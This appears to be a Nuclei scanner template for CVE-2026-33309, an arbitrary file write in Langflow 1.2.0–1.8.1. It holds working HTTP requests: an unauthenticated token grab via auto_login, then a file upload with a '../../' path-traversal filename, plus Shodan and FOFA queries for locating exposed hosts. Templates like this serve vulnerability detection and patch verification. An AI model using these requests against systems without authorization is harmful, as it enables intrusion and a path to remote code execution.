Copy
id: CVE-2026-33309
info:
name: Langflow - Arbitrary File Write & Remote Code Execution
author: s4e-io
severity: critical
description: |
Langflow 1.2.0 through 1.8.1 contains an arbitrary file write vulnerability caused by bypass of filename validation in LocalStorageService, letting authenticated attackers write files anywhere on the host, leading to remote code execution.
impact: |
Authenticated attackers can write arbitrary files on the host, potentially leading to remote code execution and full system compromise.
remediation: |
Upgrade to version 1.9.0 or later.
reference:
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c
- https://github.com/langflow-ai/langflow/pull/12227
- https://nvd.nist.gov/vuln/detail/CVE-2026-33309
classification:
cve-id: CVE-2026-33309
epss-score: 0.314
epss-percentile: 0.98318
cwe-id: CWE-22
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
metadata:
verified: true
max-request: 3
vendor: langflow
product: langflow
shodan-query:
- http.title:"langflow"
fofa-query:
- title="Langflow"
tags: cve,cve2026,langflow,rce,file-write,path-traversal,vkev,intrusive
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /api/v1/version HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: lfversion
part: body
internal: true
group: 1
regex:
- '"version"\s*:\s*"([0-9.]+)"'
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'compare_versions(lfversion, ">= 1.2.0", "< 1.9.0")'
condition: and
internal: true
- raw:
- |
GET /api/v1/auto_login HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: auth_token
part: body
internal: true
group: 1
regex:
- '"access_token"\s*:\s*"([^"]+)"'
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains(body, "access_token")'
condition: and
internal: true
- raw:
- |
POST /api/v2/files HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{auth_token}}
Content-Type: multipart/form-data; boundary=FormBoundary7MA4YWxkTrZu0gW
--FormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="../../{{randstr}}.txt"
Content-Type: text/plain
{{randstr}}
--FormBoundary7MA4YWxkTrZu0gW--
matchers:
- type: dsl
dsl:
- 'status_code == 201'
- 'contains(content_type, "json")'
- 'contains_all(body, "../../{{randstr}}")'
condition: and
# digest: 4b0a00483046022100e537b44bdf7053228f24b41440f352b57525d9d0b4e383cbb601e45f1ed9edd402210091e2c7ece637c5e1262c8d8b07c3a6f347df84f1282b8c7159075a7bfedeca94:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.